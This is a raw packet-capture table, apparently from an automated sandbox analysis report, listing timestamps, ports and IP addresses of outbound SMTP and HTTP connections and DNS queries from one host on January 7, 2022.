Jan 7, 2022 15:56:06.074697018 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:06.074793100 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:06.100287914 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.100397110 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.154381037 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.154561043 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.206733942 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.209090948 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.209366083 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.261775017 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.261893034 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.318573952 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.322983980 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.323206902 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.323261976 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.323527098 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.375647068 CET	25	49984	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.375767946 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.375822067 CET	49984	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.375901937 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.429579020 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.429713964 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.484863043 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.486351013 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.486481905 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.539199114 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.539388895 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.597162962 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.601308107 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.601505041 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.601531982 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.601844072 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:06.654279947 CET	25	49986	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:06.654347897 CET	49986	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:06.951206923 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:06.951894045 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:07.252971888 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:07.257148981 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:07.456302881 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:07.460958004 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:07.808141947 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:07.968902111 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:07.969136953 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:08.318763971 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:08.473020077 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:08.473233938 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:08.821052074 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:08.937099934 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:08.986222982 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:08.986419916 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:08.986589909 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:08.986593962 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:08.989016056 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:08.989145994 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.042208910 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.042398930 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.094355106 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.099217892 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.099330902 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.151999950 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.152178049 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.187273026 CET	50000	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:09.209072113 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.214241982 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.214379072 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.214411020 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.214642048 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.266563892 CET	25	49998	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.266663074 CET	49998	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.266844988 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.266932964 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.320133924 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.320338964 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.331654072 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.331796885 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.333890915 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.339407921 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.372922897 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.376138926 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.376293898 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.391556978 CET	49971	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:09.429761887 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.429891109 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.487682104 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.492150068 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.492238045 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.492263079 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.492336035 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.492367983 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.492515087 CET	25	49988	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.492558002 CET	49988	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.545075893 CET	25	50001	142.250.150.27	192.168.2.3
Jan 7, 2022 15:56:09.545190096 CET	50001	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:56:09.633603096 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.633677006 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.644186020 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.832168102 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.832429886 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:09.994066000 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:09.994196892 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:10.179814100 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.227200031 CET	50005	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:10.297602892 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.297872066 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:10.334115982 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.334214926 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:10.499370098 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.499485970 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:10.681729078 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.833517075 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:10.836060047 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:10.849580050 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.003462076 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.003673077 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.183352947 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.347557068 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.350029945 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.353467941 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.353538036 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.507653952 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.510109901 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.697385073 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.705729961 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.848838091 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.848928928 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.848989964 CET	25	49999	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:11.849042892 CET	49999	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:11.860045910 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.021243095 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.021447897 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:12.021962881 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:12.298120022 CET	50000	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:12.368988037 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.374794006 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.523299932 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.523530006 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:12.523749113 CET	25	50003	74.125.200.27	192.168.2.3
Jan 7, 2022 15:56:12.523843050 CET	50003	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:56:13.276138067 CET	50005	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:13.370979071 CET	50006	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:16.392133951 CET	50006	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:18.392314911 CET	50000	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:19.298635960 CET	50005	80	192.168.2.3	193.166.255.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:53:53.977221012 CET	56844	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:53.997405052 CET	53	56844	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.025248051 CET	58045	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.044673920 CET	53	58045	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.064131975 CET	57459	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.084255934 CET	53	57459	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.086687088 CET	57875	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.090133905 CET	54154	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.104088068 CET	53	57875	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.112106085 CET	53	54154	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.244391918 CET	52806	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.264120102 CET	53	52806	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.267338991 CET	53910	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.293869019 CET	53	53910	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.347738028 CET	64021	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.372792959 CET	53	64021	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.377140999 CET	60784	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.395924091 CET	53	60784	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.400496006 CET	51143	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.419430971 CET	53	51143	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.423537970 CET	56009	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.445152044 CET	53	56009	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.481007099 CET	59026	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.497411966 CET	53	59026	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.501631021 CET	49572	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.523252010 CET	53	49572	8.8.8.8	192.168.2.3
Jan 7, 2022 15:53:54.678909063 CET	60823	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:53:54.697768927 CET	53	60823	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:00.294285059 CET	52130	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:00.312943935 CET	53	52130	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:00.315545082 CET	55102	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:00.333906889 CET	53	55102	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:00.487051964 CET	56236	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:00.505827904 CET	53	56236	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:00.508871078 CET	56527	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:00.525170088 CET	53	56527	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.279993057 CET	49559	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.298125029 CET	53	49559	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.300864935 CET	52650	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.319050074 CET	53	52650	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.322531939 CET	63297	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.338588953 CET	53	63297	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.457396984 CET	58361	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.475949049 CET	53	58361	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.479379892 CET	53615	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.495970011 CET	53	53615	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.499496937 CET	50728	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.517844915 CET	53	50728	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.521054983 CET	53777	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.568285942 CET	53	53777	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.571116924 CET	57106	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.589693069 CET	53	57106	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:01.592742920 CET	60352	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:01.611601114 CET	53	60352	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:02.143953085 CET	56773	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:02.160607100 CET	53	56773	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:02.163610935 CET	60982	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:02.182246923 CET	53	60982	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:02.186980963 CET	58058	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:02.205068111 CET	53	58058	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:04.001950979 CET	64367	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:04.020510912 CET	53	64367	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:04.023719072 CET	51539	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:04.042390108 CET	53	51539	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.519972086 CET	50585	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.552912951 CET	53	50585	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.556324959 CET	63456	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.601666927 CET	53	63456	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.606375933 CET	58540	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.625185013 CET	53	58540	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.630520105 CET	55108	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.676830053 CET	53	55108	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.928545952 CET	58942	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.946731091 CET	53	58942	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.965447903 CET	64432	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:05.981657028 CET	53	64432	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:05.984380960 CET	49250	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:06.002931118 CET	53	49250	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:06.005608082 CET	63490	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:06.021624088 CET	53	63490	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:06.714092016 CET	65110	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:06.732239008 CET	53	65110	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:06.734273911 CET	61120	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:06.753253937 CET	53	61120	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:07.525373936 CET	53079	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:07.543613911 CET	53	53079	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:07.545656919 CET	50824	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:07.563860893 CET	53	50824	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:08.088872910 CET	56706	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:08.107095957 CET	53	56706	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:08.109785080 CET	53569	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:08.127995014 CET	53	53569	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:09.381753922 CET	62855	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:09.397995949 CET	53	62855	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:09.400945902 CET	51046	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:09.419254065 CET	53	51046	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:09.422631025 CET	65501	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:09.441320896 CET	53	65501	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:11.707328081 CET	53465	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:11.725521088 CET	53	53465	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:11.727695942 CET	49290	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:11.743983984 CET	53	49290	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:11.747853041 CET	59754	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:11.764408112 CET	53	59754	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:13.229273081 CET	49234	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:13.248013973 CET	53	49234	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:13.250634909 CET	58720	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:13.269493103 CET	53	58720	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:13.709353924 CET	57447	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:13.728276014 CET	53	57447	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:13.732270002 CET	63583	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:13.750721931 CET	53	63583	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:14.167794943 CET	64099	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:14.200777054 CET	53	64099	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:14.205713034 CET	64610	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:14.222918034 CET	53	64610	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:14.227880955 CET	51989	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:14.246479034 CET	53	51989	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:14.254306078 CET	53152	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:14.270922899 CET	53	53152	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.281563997 CET	61590	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.299649000 CET	53	61590	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.312369108 CET	56077	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.328655005 CET	53	56077	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.353494883 CET	57951	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.360119104 CET	53276	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.369725943 CET	53	57951	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.376837969 CET	53	53276	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.382379055 CET	60135	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.400451899 CET	53	60135	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.437226057 CET	49849	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.454157114 CET	53	49849	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.456027031 CET	60253	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.476475000 CET	53	60253	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.536202908 CET	58706	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.554572105 CET	53	58706	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.558710098 CET	62677	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.583815098 CET	53	62677	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.587971926 CET	62595	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.606790066 CET	53	62595	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.610512018 CET	51189	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.624008894 CET	49967	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.636908054 CET	53	51189	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.641216040 CET	51454	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.642561913 CET	53	49967	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.660092115 CET	53	51454	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.663847923 CET	57163	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.688277006 CET	53	57163	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.719141006 CET	56360	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.735426903 CET	53	56360	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.739283085 CET	49258	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.755714893 CET	53	49258	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:21.896199942 CET	56195	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:21.914302111 CET	53	56195	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:22.006308079 CET	53021	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:22.025392056 CET	53	53021	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.164019108 CET	52618	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.182400942 CET	53	52618	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.185956001 CET	51633	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.204101086 CET	53	51633	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.397196054 CET	64383	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.415287018 CET	53	64383	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.419511080 CET	50346	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.436497927 CET	53	50346	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.591381073 CET	50281	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.607558012 CET	53	50281	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.612442970 CET	56328	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.630997896 CET	53	56328	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.633940935 CET	56921	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.652611017 CET	53	56921	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.773642063 CET	59529	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.792546988 CET	53	59529	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.797884941 CET	64853	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.814831018 CET	53	64853	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.817670107 CET	56317	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.836760998 CET	53	56317	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.842093945 CET	51570	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.860738993 CET	53	51570	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.863742113 CET	53663	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.909627914 CET	53	53663	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:27.913495064 CET	60070	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:27.931988001 CET	53	60070	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.232182026 CET	58750	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.250781059 CET	53	58750	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.252718925 CET	60727	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.270992041 CET	53	60727	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.273550987 CET	63753	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.302182913 CET	53	63753	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.432950974 CET	54609	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.449330091 CET	53	54609	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.453273058 CET	52405	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.469465017 CET	53	52405	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.610400915 CET	56219	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.628643036 CET	53	56219	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:30.631144047 CET	52312	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.783720016 CET	64731	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:30.802377939 CET	53	64731	8.8.8.8	192.168.2.3
